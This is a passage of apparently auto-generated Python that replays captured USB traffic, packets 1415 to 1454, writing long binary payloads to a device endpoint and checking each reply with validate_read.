b\"\\xFF\\xAF\\x8F\\x18\\xA2\\x97\\x8E\\xD6\\x6E\\x45\\x18\\xA0\\x93\\x97\\x6E\\x70\"\n b\"\\xD3\\xE7\\x96\\xD5\\xDE\\x54\\xA6\\xA0\\xA9\\x9F\\x4D\\xC7\\xCC\\xD6\\x7B\\x0A\"\n b\"\\x45\\x79\\x41\\x21\\x1A\\x44\\x79\\xBD\\x70\\x88\\x75\\xDF\\x2B\\x46\\xE6\\xC0\"\n b\"\\xB0\\xCA\\x4F\\xBF\\xA4\\xDA\\x0E\\x1E\\xC2\\x40\\x9B\\xBE\")\n # Generated from packet 1415/1416\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1415/1416\")\n # Generated from packet 1417/1418\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x09\\x80\\xAF\\xFC\\x7E\\x6E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC8\\xEC\\x61\\xA1\\x2C\\x3C\\x37\\x99\"\n b\"\\xD2\\x84\\x60\\x6B\\x89\\x44\\x78\\x9A\\xAE\\xD8\\x42\\x5C\\x95\\x7D\\x89\\xB3\"\n b\"\\xBF\\x77\\x83\\x9C\\x5C\\xA2\\x37\\x7C\\x60\\xB6\\x52\\x05\\x3C\\xBA\\x26\\x14\"\n b\"\\xA6\\x4F\\xBF\\xF6\\x9F\\xFC\\x62\\xC5\\xCB\\xE8\\x8C\\x77\\x00\\xA7\\x6A\\x4B\"\n b\"\\xC0\\x51\\xB7\\x05\\x8C\\x8F\\xF1\\x8E\\x09\\x51\\x8A\\x13\\x10\\x33\\x92\\x1B\"\n b\"\\x9D\\xAA\\xA5\\x1A\\xEE\\xBC\\x26\\xCB\\xD0\\x1E\\x31\\x46\\x49\\xEA\\x56\\x97\"\n b\"\\xD4\\x89\\x8B\\x1C\\xA8\\xB1\\xF8\\x3E\\xC5\\x0E\\x75\\x6A\\x64\\x39\\x14\\x5A\"\n b\"\\x79\\xC7\\x50\\x66\\xC7\\x27\\x5B\\x0A\\xB5\\x6C\\x5C\\x4F\\x59\\x43\\x7B\\xFE\"\n b\"\\x5D\\x07\\x37\\xD0\\x35\\xB7\\x55\\xD5\\x1D\\x1B\\x9E\\x73\\x2A\\x4F\\xB7\\xDC\"\n b\"\\xEB\\x4F\\xAC\\x28\\x57\\x6E\\x23\\xDC\\x26\\x4A\\x46\\x6E\\xD4\\xF1\\xB0\\x36\"\n b\"\\xBD\\x71\\xDC\\xC0\\xD0\\xEA\\x3B\\x3F\\xBE\\xA1\\x8A\\x07\\xB0\\x05\\x55\\xAF\"\n b\"\\x4D\\xC5\\x83\\x55\\x9E\\x7E\\x89\\x72\\x89\\x7C\\xDE\\x32\\x98\\x7D\\x1E\\x85\"\n b\"\\x03\\x55\\x83\\xAF\\xCC\\xD1\\x7E\\xB9\\x05\\x19\\x48\\xF6\\x61\\x61\\xDE\\x8F\"\n b\"\\xAF\\x79\\x30\\xA2\\x46\\xA6\\x0D\\xF4\\xB9\\x51\\xDE\\x52\\x8F\\xB4\\x87\\xDE\"\n b\"\\xAE\\xD6\\xF8\\xC3\\x95\\xA3\\x75\\xC2\\x7F\\x29\\xEA\\x9D\\xEF\\x0C\\xB3\\x3B\"\n b\"\\xFB\\x9D\\x28\\x12\\x4A\\xFF\\x91\\xC3\\x20\\xEB\\x6F\\x58\\xCF\\x2C\\xAF\\x5F\"\n b\"\\xCF\\x83\\xB1\\x96\\xAF\\xE0\\x86\\x7F\\x2E\\x9A\\x1E\\x9B\")\n # Generated from packet 1419/1420\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1419/1420\")\n # Generated from packet 1421/1422\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB6\\xE4\\xD6\\xCF\\xE9\\x3E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBB\\x92\\x19\\x74\\xA0\\x89\\x91\\x0C\"\n b\"\\x51\\x8C\\xAB\\x07\\x52\\x78\\x5C\\x1A\\x0C\\xAD\\x02\\x01\\x61\\xA0\\xD6\\xD4\"\n b\"\\xC4\\x5C\\xC1\\x76\\xE0\\x86\\x0F\\xEF\\xCA\\xDF\\xED\\xE5\\x18\\x76\\x8E\\x09\"\n b\"\\x90\\x25\\xDA\\x39\\x48\\x72\\x2D\\x4C\\xCC\\x82\\x8A\\xF1\\xD1\\x84\\xEA\\x00\"\n b\"\\xCB\\x0C\\x69\\xA8\\xC6\\x7F\\x98\\xCF\\xBA\\x10\\xA1\\xC1\\xD4\\x6B\\x2B\\x7F\"\n b\"\\x75\\x88\\x43\\xCB\\x66\\xAC\\xAD\\x10\\x5A\\x13\\xCB\\x98\\x5C\\xE5\\xFB\\x54\"\n b\"\\xD7\\x34\\x7E\\xBF\\xC8\\x08\\x66\\x66\\xF4\\x9B\\x94\\x64\\x1C\\x11\\xF9\\x2D\"\n b\"\\xBD\\xD9\\xA3\\x7E\\x03\\xD6\\x66\\x2F\\xB5\\x9A\\x76\\x2D\\xBB\\x03\\xB4\\xB7\"\n b\"\\xC2\\xA7\\x42\\x5D\\xF7\\x62\\x3E\\x93\\xDD\\x1B\\xA1\\x7C\\xFC\\x97\\xC5\\xC3\"\n b\"\\x9B\\x90\\xD3\\xAA\\x65\\x33\\x13\\xAA\\x4A\\x76\\x12\\x8A\\x8F\\xC4\\x7F\\x37\"\n b\"\\x9B\\x68\\xA1\\x7D\\xD2\\xE6\\x5B\\xA1\\xF7\\xCD\\x62\\x35\\xE4\\x0F\\x69\\xC0\"\n b\"\\x91\\x9B\\x25\\xD4\\xD5\\x36\\x64\\x77\\xB8\\xF3\\xEA\\xEC\\x23\\xA7\\x61\\xE1\"\n b\"\\x4B\\x6D\\x30\\x27\\xE2\\xEF\\x08\\xD3\\x2E\\xD7\\x29\\x5B\\x6D\\x76\\xD3\\x41\"\n b\"\\xFF\\x79\\x59\\xB3\\xE9\\xE2\\x8E\\x52\\x34\\x01\\x2B\\x25\\x42\\x77\\x67\\xE3\"\n b\"\\x03\\x03\\x54\\x83\\xDB\\x52\\x65\\xA9\\xB2\\xD4\\x6F\\x56\\xBC\\x32\\x10\\x38\"\n b\"\\xF4\\x24\\x22\\x16\\xC2\\x92\\xCE\\xD4\\x59\\x92\\xE5\\xC2\\x50\\x07\\x38\\x78\"\n b\"\\x2F\\xEB\\x89\\x5A\\x46\\x9D\\x61\\x89\\x3C\\x53\\x3A\\xBE\")\n # Generated from packet 1423/1424\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1423/1424\")\n # Generated from packet 1425/1426\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x00\\x6D\\xA0\\x2F\\xA8\\x5F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEB\\x2C\\xE2\\xC3\\x08\\xAC\\xAB\\xC7\"\n b\"\\x12\\x5E\\x9B\\xDB\\x98\\x21\\x6F\\xE0\\xB6\\x23\\xFD\\x9C\\x43\\x48\\xAB\\x77\"\n b\"\\x38\\x1E\\xED\\x54\\x7A\\x8F\\x28\\x06\\xCD\\x45\\x91\\x59\\xBA\\x15\\xA5\\xE5\"\n b\"\\x35\\x34\\x97\\x24\\x70\\x89\\x0C\\xE0\\xC0\\x6E\\x6B\\x9B\\xF2\\x4B\\x2C\\x55\"\n b\"\\x1B\\xD4\\x00\\x25\\x6A\\x26\\xCD\\xE7\\x95\\x41\\xC1\\x01\\x97\\x99\\xCD\\x36\"\n b\"\\x97\\x96\\xDA\\x39\\x70\\x18\\xB9\\x18\\xF0\\xEB\\x13\\x3D\\xEA\\x2C\\x28\\x18\"\n b\"\\x4F\\x83\\xB4\\x92\\xE1\\x39\\xAF\\xFF\\xB8\\x34\\x9C\\x06\\x5F\\xA3\\x00\\xC6\"\n b\"\\x91\\x9E\\x77\\x0B\\x40\\xA2\\x78\\xA0\\x9A\\x8F\\x9D\\xB0\\x4C\\xE0\\xFB\\x52\"\n b\"\\xC5\\xB9\\xBC\\x2F\\xDD\\x99\\xBB\\x74\\x14\\x35\\x13\\xF6\\x10\\x9E\\x57\\x1D\"\n b\"\\xE8\\x61\\xB9\\xFE\\x35\\xFA\\x7C\\x8E\\x8B\\xB6\\xFE\\x21\\x93\\x2F\\xE4\\xB5\"\n b\"\\x36\\x93\\x47\\x73\\x07\\xF8\\x2C\\x89\\x7F\\x24\\x9D\\x4E\\xB6\\xCD\\xA5\\x73\"\n b\"\\x4B\\x57\\x0F\\xAE\\x2B\\xB9\\x1E\\xB2\\x94\\xDB\\x9F\\x28\\x92\\xAF\\xC7\\xC4\"\n b\"\\xC8\\x53\\x24\\xF9\\xEA\\xCC\\x43\\x06\\xC7\\x36\\xFD\\x9B\\x25\\x4E\\x3D\\xB8\"\n b\"\\x7D\\xE9\\x00\\xB0\\x77\\xCD\\xC6\\xFF\\x94\\x5D\\xEF\\xEC\\x06\\x09\\xE1\\x20\"\n b\"\\x68\\xCD\\xFF\\x11\\x1C\\x9F\\xEA\\x66\\xFB\\xE1\\xA0\\xD7\\x43\\xB4\\xF3\\xA9\"\n b\"\\x57\\xF5\\x2A\\xD7\\x5E\\x46\\xA9\\x18\\x1C\\x63\\xDF\\x64\\xB4\\xBC\\xF4\\x47\"\n b\"\\xA9\\xD7\\xAC\\xD7\\xF0\\x87\\x90\\x21\\x48\\xB0\\x0B\\x02\")\n # Generated from packet 1427/1428\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1427/1428\")\n # Generated from packet 1429/1430\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xFE\\xFE\\x08\\x5B\\x9A\\x3F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7C\\xC0\\x77\\x7B\\x65\\x88\\xDD\\xBA\"\n b\"\\xE8\\x7A\\xEF\\x00\\x0F\\x5C\\xC6\\x2E\\xC1\\xD0\\xC6\\xEF\\x46\\xA6\\xD2\\xE0\"\n b\"\\x40\\xE0\\x99\\x44\\x6A\\x4F\\x4A\\x3E\\x00\\x9C\\x7C\\x4F\\x67\\x24\\x55\\x6C\"\n b\"\\x87\\x46\\xED\\x2F\\xF1\\xBB\\x9F\\x03\\x9C\\x61\\x34\\x2B\\x88\\xB3\\xF0\\x4D\"\n b\"\\x67\\xB7\\x84\\x6C\\xAF\\x9B\\x73\\x20\\x34\\x85\\xED\\xC4\\xCA\\x3A\\x6F\\x65\"\n b\"\\x8E\\xB1\\x2A\\x1A\\x4D\\x6A\\x59\\x40\\xF5\\x38\\x8E\\xFC\\x5E\\x45\\xB9\\x2B\"\n b\"\\x43\\x14\\xEB\\x12\\xF6\\xA4\\xB2\\xE4\\xE2\\x29\\xC3\\x1F\\x6D\\xE0\\x8B\\x8D\"\n b\"\\x30\\x59\\xE7\\x5F\\x11\\x0C\\xFC\\xA7\\xA7\\xDF\\xDF\\x8F\\x58\\xB4\\x42\\xC7\"\n b\"\\x3F\\x4F\\xA5\\x30\\x88\\x8D\\x98\\xFD\\x01\\xDB\\x12\\xE8\\x93\\xC1\\x3E\\xA6\"\n b\"\\x9A\\x7D\\x23\\x53\\xDB\\x40\\x61\\xFF\\x9E\\x8D\\xEB\\x35\\x09\\x28\\x2F\\x96\"\n b\"\\x15\\xF0\\x57\\xD1\\xAD\\xD0\\x62\\xF2\\x68\\x22\\xC3\\xF6\\xAE\\x5F\\x6E\\x71\"\n b\"\\x8F\\xCD\\x6A\\x6F\\xF7\\xF0\\xC6\\x8D\\x34\\xDE\\x7A\\x18\\xD5\\x47\\xDD\\x4C\"\n b\"\\xC5\\x8D\\xE7\\x41\\xF9\\xA1\\xFD\\xA8\\x96\\xB0\\x5E\\xB9\\x9C\\x36\\x3C\\xF4\"\n b\"\\x6E\\xBF\\x14\\x52\\x09\\x12\\x8C\\x9B\\x64\\x1D\\xF1\\x19\\x38\\xF3\\x0E\\x43\"\n b\"\\x0D\\xE7\\x03\\x99\\x8B\\xCC\\x9C\\xE9\\xF6\\xA0\\xE5\\xF3\\xAE\\x55\\x22\\xFE\"\n b\"\\x52\\xD4\\xF5\\x0B\\x43\\x04\\x33\\x4A\\x57\\xC3\\xB2\\x4D\\x5F\\x06\\xA3\\x0C\"\n b\"\\xC2\\x84\\x73\\xF6\\xBF\\xDF\\x7E\\x80\\x5D\\xCD\\x2D\\xD0\")\n # Generated from packet 1431/1432\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1431/1432\")\n # Generated from packet 1433/1434\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x95\\x43\\xD9\\xF7\\xA7\\x30\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB1\\xDB\\x0F\\x35\\xF3\\x6C\\x5E\\xD8\"\n b\"\\x7F\\xB0\\x8D\\xE5\\xA9\\x8C\\x78\\x86\\xEE\\xC9\\xA6\\xF5\\xB4\\xC3\\xC3\\x51\"\n b\"\\xA2\\xF8\\xED\\xE2\\xAF\\xCB\\xA9\\x42\\xFF\\x94\\xC9\\x44\\x55\\x50\\xF4\\x45\"\n b\"\\x54\\xA0\\xFD\\x11\\x6C\\xF2\\xF2\\x48\\x92\\xCC\\x3F\\x07\\x7E\\x0D\\xF3\\x00\"\n b\"\\x8B\\xA5\\x3F\\x0C\\xA0\\x76\\x60\\xBD\\x9B\\x86\\x63\\xB8\\x7D\\x20\\xDE\\xF0\"\n b\"\\x98\\x4D\\x22\\xB1\\x25\\x8D\\xCC\\x9D\\x29\\x58\\x58\\x3A\\xA5\\x75\\xEC\\x28\"\n b\"\\x2F\\x21\\x16\\x7A\\x6D\\xC0\\x37\\xF1\\xCE\\x53\\xD1\\xE6\\x6D\\xB9\\x23\\x1B\"\n b\"\\xFC\\x1A\\x33\\x76\\x37\\x49\\xBE\\x29\\x98\\x81\\xAD\\xEA\\x60\\x71\\x81\\x71\"\n b\"\\x94\\x21\\xDC\\xCA\\x74\\x0C\\x66\\x80\\x3B\\xF3\\x73\\xCD\\x6E\\xFE\\x8D\\xDE\"\n b\"\\x3A\\xDA\\x1B\\x71\\x9B\\x1E\\xC5\\xA2\\x72\\x1C\\x3B\\xAC\\xD9\\xDB\\x28\\x3B\"\n b\"\\x5B\\x55\\xDA\\x8A\\x0F\\x7F\\x7A\\x61\\x2C\\xA8\\xA3\\x2A\\x3D\\xFA\\xFB\\x4D\"\n b\"\\xA4\\x7D\\xE0\\x49\\xB6\\x88\\x52\\xE7\\x40\\x7F\\xE7\\xEF\\x02\\xA3\\xC1\\xA9\"\n b\"\\xBB\\xAD\\x60\\xAC\\x33\\xA3\\xA4\\x71\\x65\\xB4\\x6F\\x67\\x72\\x75\\xC3\\xF7\"\n b\"\\xC2\\x33\\x26\\x48\\xF4\\xEA\\x44\\x14\\x0B\\xB5\\xC6\\x43\\x55\\x4F\\x8C\\xFF\"\n b\"\\x50\\x55\\x99\\x0C\\xD1\\x8F\\xD8\\x1B\\x88\\x8D\\xA9\\x01\\x1B\\x14\\xEC\\xA6\"\n b\"\\x9E\\xE2\\x53\\xC5\\x50\\xF5\\x93\\x1A\\xFB\\xCE\\x75\\x5D\\x27\\xB7\\xC1\\xF6\"\n b\"\\x25\\xCE\\xE3\\x33\\x0B\\x60\\x72\\x6C\\x4C\\xAB\\x57\\x2E\")\n # Generated from packet 1435/1436\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1435/1436\")\n # Generated from packet 1437/1438\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x81\\x83\\xCB\\x29\\x86\\x64\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF7\\x69\\x27\\x92\\xE3\\xEC\\x1E\\x2D\"\n b\"\\x5A\\x77\\xC7\\x49\\xA3\\x0B\\x02\\x75\\xEB\\x0D\\xFE\\x94\\x1D\\x10\\x64\\x3E\"\n b\"\\x95\\x45\\x77\\xA2\\xBC\\x8D\\x1C\\x99\\xAB\\x12\\x31\\xF3\\xA6\\x41\\x53\\x3E\"\n b\"\\xB2\\xCB\\x7E\\x98\\x96\\x37\\x0A\\xD3\\x92\\x01\\xB8\\x0D\\xE2\\xFC\\x40\\xB2\"\n b\"\\x71\\x76\\x8E\\x8D\\xA7\\xB8\\xEE\\x48\\x18\\x5F\\x83\\x70\\x96\\x65\\xFC\\xA6\"\n b\"\\x7F\\x93\\x16\\xD3\\x53\\x6A\\x9D\\x2E\\xE6\\xAF\\x33\\xF3\\x33\\xB7\\x02\\x13\"\n b\"\\x86\\xBF\\x23\\xCD\\xC1\\xDA\\xE5\\x8A\\xE8\\x0A\\x04\\xF0\\x5D\\x71\\xDD\\x5B\"\n b\"\\x56\\x34\\x28\\x96\\xDC\\x73\\x2B\\x6D\\xB2\\x42\\xC8\\x29\\x08\\xB3\\x1C\\x79\"\n b\"\\x26\\x9E\\xB9\\xA9\\xF9\\x6C\\x36\\x64\\x40\\x8F\\x41\\xB8\\x15\\xCD\\xF5\\xE2\"\n b\"\\xD3\\x85\\xA5\\xAB\\x49\\x2F\\x88\\xC3\\xF9\\xB0\\x78\\x2B\\x87\\x3C\\x4D\\x60\"\n b\"\\xD2\\xF0\\x2E\\x53\\xB1\\xF8\\x7D\\x47\\x87\\x00\\x76\\x72\\x87\\xD9\\xEB\\x96\"\n b\"\\x0A\\xFB\\x51\\xFC\\x0A\\x20\\x56\\x29\\x05\\xF2\\xBB\\xCF\\x99\\xD2\\xCF\\x1E\"\n b\"\\x42\\x04\\x97\\x4D\\xB5\\xE3\\xA3\\xB5\\x2F\\x5C\\xF3\\x7F\\xCF\\x12\\x53\\x48\"\n b\"\\x4C\\xFC\\x67\\x74\\x3B\\x07\\xCB\\xE7\\x2A\\x80\\xF4\\xFD\\xBA\\xD6\\x40\\x68\"\n b\"\\xC5\\x03\\xD5\\x13\\x4A\\xEB\\x28\\x0F\\xAC\\x76\\x2F\\x1A\\x51\\x2D\\xC8\\x3A\"\n b\"\\x62\\xF3\\x3D\\x50\\xF6\\x9E\\x70\\xC6\\xCC\\xE7\\x76\\xEC\\x86\\x29\\xC6\\x9C\"\n b\"\\x3D\\x5C\\x99\\x5E\\xBD\\x57\\xFF\\x8F\\xE8\\x76\\x7E\\xEF\")\n # Generated from packet 1439/1440\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1439/1440\")\n # Generated from packet 1441/1442\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0B\\xD2\\x57\\x13\\xC2\\x46\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6D\\x79\\xE2\\x1C\\x3A\\xDC\\xCC\\xBD\"\n b\"\\x0F\\x73\\xD9\\x26\\xED\\xF9\\xA9\\xF4\\x28\\x91\\xEE\\x7A\\x1F\\xF3\\x22\\x6D\"\n b\"\\x72\\x3E\\xF7\\xF5\\x84\\x08\\xE9\\x36\\x22\\xE7\\xB4\\xA0\\x1F\\x85\\x3F\\x7D\"\n b\"\\x9F\\x96\\xDD\\x28\\xC7\\xE0\\x63\\x9A\\x4D\\xFF\\x2B\\x2B\\x88\\xCC\\x89\\xE5\"\n b\"\\xB6\\xEB\\xC2\\xE2\\x90\\x0D\\x8B\\xCD\\x17\\xCE\\x3C\\xE1\\x5C\\x11\\xA9\\xA9\"\n b\"\\xC9\\x0F\\x0E\\xCB\\x63\\x6D\\x5C\\x0D\\x3E\\x3F\\x6F\\x09\\xE4\\x61\\x99\\x2B\"\n b\"\\xAA\\xFE\\x4E\\x70\\xA3\\xDA\\x46\\x8D\\x9E\\xE8\\x76\\xC6\\xB8\\x2D\\x1B\\x72\"\n b\"\\x40\\x60\\x02\\x2E\\x0A\\x85\\x8A\\xEA\\xC4\\x45\\xE5\\x77\\xA3\\x50\\xE0\\xDD\"\n b\"\\xE4\\x74\\x3F\\x7F\\xCD\\x6C\\x0B\\x5F\\xC3\\x6D\\x10\\x4A\\x2E\\x11\\x59\\x67\"\n b\"\\x5A\\x3E\\x8B\\x64\\x2E\\xE0\\xC5\\x78\\x0D\\x8E\\x39\\x7E\\x71\\x4A\\xDE\\x5D\"\n b\"\\x52\\xEB\\xC3\\xE7\\xB3\\xA9\\xB7\\xC2\\x52\\x0F\\x1B\\xEB\\xE8\\xDD\\x56\\x26\"\n b\"\\x9E\\x4A\\x53\\x76\\xCF\\x40\\x3B\\x9A\\x33\\x87\\xD3\\x6F\\xE3\\x69\\x54\\x8F\"\n b\"\\x95\\x5A\\x00\\xCC\\xCD\\x59\\x98\\x03\\x44\\x95\\x7F\\x7F\\x94\\xC1\\x2C\\x8C\"\n b\"\\x6F\\xF8\\xB2\\x6A\\x09\\x06\\xAF\\xD5\\x97\\xFF\\x46\\xA7\\xC2\\x20\\x4A\\xBA\"\n b\"\\xCB\\x27\\x71\\xB8\\x4E\\x16\\xF6\\x6A\\xC4\\xCB\\x43\\xF2\\xCD\\x9A\\x25\\x64\"\n b\"\\xC0\\xC4\\xD7\\xC1\\x09\\x43\\xBE\\xEB\\x5E\\x0D\\xBC\\x82\\x00\\xAC\\xBB\\x5C\"\n b\"\\x50\\x1A\\xD7\\x9B\\x7C\\xA2\\xE8\\x41\\x2F\\x17\\xEA\\x6A\")\n # Generated from packet 1443/1444\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1443/1444\")\n # Generated from packet 1445/1446\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1B\\x79\\xA7\\x5A\\xB5\\x2D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xA3\\x8B\\xA8\\x1D\\xF9\\x36\\x7C\\x62\"\n b\"\\xD0\\x03\\xC3\\x23\\x0A\\x13\\xD7\\xF3\\x61\\x60\\x0C\\xE5\\x32\\x7E\\x02\\xC3\"\n b\"\\xAD\\xE5\\xCA\\xC0\\x9B\\x38\\x99\\xC8\\x52\\x80\\xEF\\x42\\xE4\\xE2\\xD7\\xFB\"\n b\"\\x9D\\x0D\\x89\\x13\\xA6\\xED\\x37\\xCA\\x84\\x45\\xB5\\x74\\xAE\\xAD\\xE6\\x10\"\n b\"\\x94\\x6C\\xFD\\xFD\\x88\\xAA\\x32\\x70\\x73\\x3A\\x6C\\x5E\\xCD\\x6E\\xAF\\x58\"\n b\"\\xEC\\x92\\x1D\\x0F\\x61\\x08\\xFB\\xF8\\x40\\xEC\\x72\\x52\\xD1\\xB4\\x3B\\xF1\"\n b\"\\xF4\\xC6\\x15\\x4B\\xE7\\xE8\\x26\\xFA\\xA4\\x7F\\xFF\\xF0\\x0D\\x3D\\xAF\\x48\"\n b\"\\xCA\\xDB\\xBC\\x7B\\x21\\x47\\x6F\\xA8\\x30\\x7F\\x08\\x02\\xA4\\xEB\\x75\\xF0\"\n b\"\\x40\\x2F\\x48\\x3D\\xA0\\x92\\x6E\\x84\\x30\\x47\\x81\\xA6\\xAA\\xCD\\x8A\\xFE\"\n b\"\\x9E\\x6D\\xC0\\x3E\\x44\\x06\\xE5\\x92\\x35\\x34\\x71\\x52\\xE4\\xB1\\x07\\x15\"\n b\"\\x4A\\x85\\x76\\x29\\x9B\\x0D\\x50\\x44\\xBE\\x91\\x72\\xB2\\x78\\x2D\\x1F\\x37\"\n b\"\\x0D\\xA3\\x25\\xBA\\xA5\\xBC\\x5F\\x68\\xE3\\x04\\x90\\x60\\x72\\xE8\\x2C\\xAF\"\n b\"\\x3B\\xD3\\x89\\x03\\x6E\\x7F\\xFC\\x02\\x74\\x71\\x28\\xA2\\x0B\\xC2\\x97\\x1C\"\n b\"\\xC8\\x12\\xD8\\x1B\\xB9\\x4B\\xD3\\xB0\\x7D\\x6E\\xEF\\x0A\\x6D\\xDD\\x16\\xD3\"\n b\"\\xD0\\x6B\\xB9\\x16\\x4C\\x5B\\xE2\\x53\\x47\\x7B\\xCE\\x85\\xF1\\x7D\\x38\\x3F\"\n b\"\\x6B\\x57\\x71\\x32\\xC5\\xA6\\x08\\xEB\\xD8\\x20\\x35\\x33\\x76\\xE7\\x33\\xCA\"\n b\"\\x6E\\x7C\\xF4\\x9C\\x3C\\xCA\\x5F\\x5F\\x7E\\xED\\x99\\x8E\")\n # Generated from packet 1447/1448\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1447/1448\")\n # Generated from packet 1449/1450\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x83\\x6B\\x62\\x5A\\x54\\x7A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC6\\x94\\x26\\x71\\x4E\\xC6\\xAC\\xF0\"\n b\"\\xA0\\x13\\xDE\\x87\\x9E\\xB0\\x87\\xBE\\x7F\\x98\\xD0\\xCE\\x1F\\xEA\\xB9\\xF0\"\n b\"\\x51\\x11\\x3F\\x6E\\xC9\\x3B\\x99\\x51\\xAF\\xEB\\x9A\\x0C\\x91\\x64\\x15\\xA3\"\n b\"\\xB8\\x84\\x66\\x29\\xE9\\x6F\\x8E\\x8C\\xC8\\x05\\xB9\\x45\\xEA\\xE4\\x3D\\x0E\"\n b\"\\x2F\\xB4\\x62\\xD4\\x2D\\x9F\\x99\\x43\\x2E\\x52\\xB5\\x7D\\xA4\\x73\\x79\\x8E\"\n b\"\\x2F\\xB8\\xC8\\xFF\\xBA\\xD2\\x24\\xED\\x26\\x42\\xAC\\xB0\\xDD\\xF5\\xF2\\xBC\"\n b\"\\x75\\x94\\x5E\\x18\\xD0\\x79\\x1D\\xCE\\x56\\x14\\x22\\xE4\\xA1\\x54\\xF6\\xD6\"\n b\"\\x1D\\x98\\xFB\\x3B\\x72\\x44\\x5F\\xC3\\xF7\\x2F\\xEE\\xD0\\x2A\\x28\\x5F\\xD8\"\n b\"\\x01\\x73\\x67\\x03\\xC0\\x39\\xF8\\x33\\x9F\\xA9\\xEB\\x4D\\x9E\\xD3\\xBA\\xCB\"\n b\"\\x9E\\xC5\\x71\\x13\\xE3\\x63\\x11\\xB6\\x1B\\x12\\x78\\xA1\\x98\\xAA\\x17\\x76\"\n b\"\\x9B\\xB7\\xBC\\xB3\\x62\\xAD\\x15\\x08\\xE5\\x80\\xA7\\x00\\xCD\\x5F\\x90\\x83\"\n b\"\\x0F\\x71\\xDA\\x0B\\x45\\x12\\x14\\x9D\\x45\\x5F\\xF9\\x9C\\x74\\x8A\\xA7\\x6C\"\n b\"\\xEB\\x7B\\x5C\\x85\\xC3\\xF1\\x8C\\x76\\x2B\\x2F\\x96\\xB8\\x46\\x2D\\xD1\\x5F\"\n b\"\\xD1\\xA4\\x7D\\x4E\\x4F\\x51\\x3B\\xB7\\x07\\x4B\\x04\\xB6\\xD7\\x3D\\x71\\x63\"\n b\"\\xFF\\x40\\x23\\xAC\\x20\\x26\\x3B\\x48\\x1A\\x07\\x92\\x71\\x08\\xEC\\x1D\\xB2\"\n b\"\\xF8\\xFB\\x99\\x65\\x39\\x52\\xEF\\xC8\\x05\\xA4\\x66\\x51\\xDB\\x81\\x19\\x5B\"\n b\"\\x22\\x80\\xA7\\x99\\x1A\\x34\\xF7\\x32\\x3B\\x40\\xEE\\x41\")\n # Generated from packet 1451/1452\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1451/1452\")\n # Generated from packet 1453/1454\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x12\\x13\\x5E\\x9A\\xBF\\x50\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x82\\xFC\\x3B\\xD8\\xF5\\x4A\\xDA\\x76\"\n b\"\\xA9\\xAB\\xF3\\x7F\\xA5\\x91\\xA0\\x17\\xFE\\x55\\xA9\\xDA\\x37\\xF2\\xB1\\x74\"\n b\"\\xDA\\x45\\x5B\\xD5\\x88\\xFC\\xB1\\xE5\\xD7\\xDB\\x97\\x40\\x0B\\xBC\\xBE\\xA9\"\n b\"\\xAF\\x2B\\x0C\\xCF\\x12\\xBE\\x34\\x6C\\x76\\x91\\x3C\\x28\\x20\\xE0\\xAC\\x55\"\n b\"\\xF8\\x99\\x90\\xE5\\x38\\x04\\xDD\\x05\\x93\\x59\\x43\\xF5\\xEB\\xE0\\x2B\\xF8\"\n b\"\\x94\\xEF\\x8A\\xED\\xC0\\x5C\\xFA\\x10\\x95\\x9C\\x72\\x12\\xE7\\x89\\x07\\x79\"\n 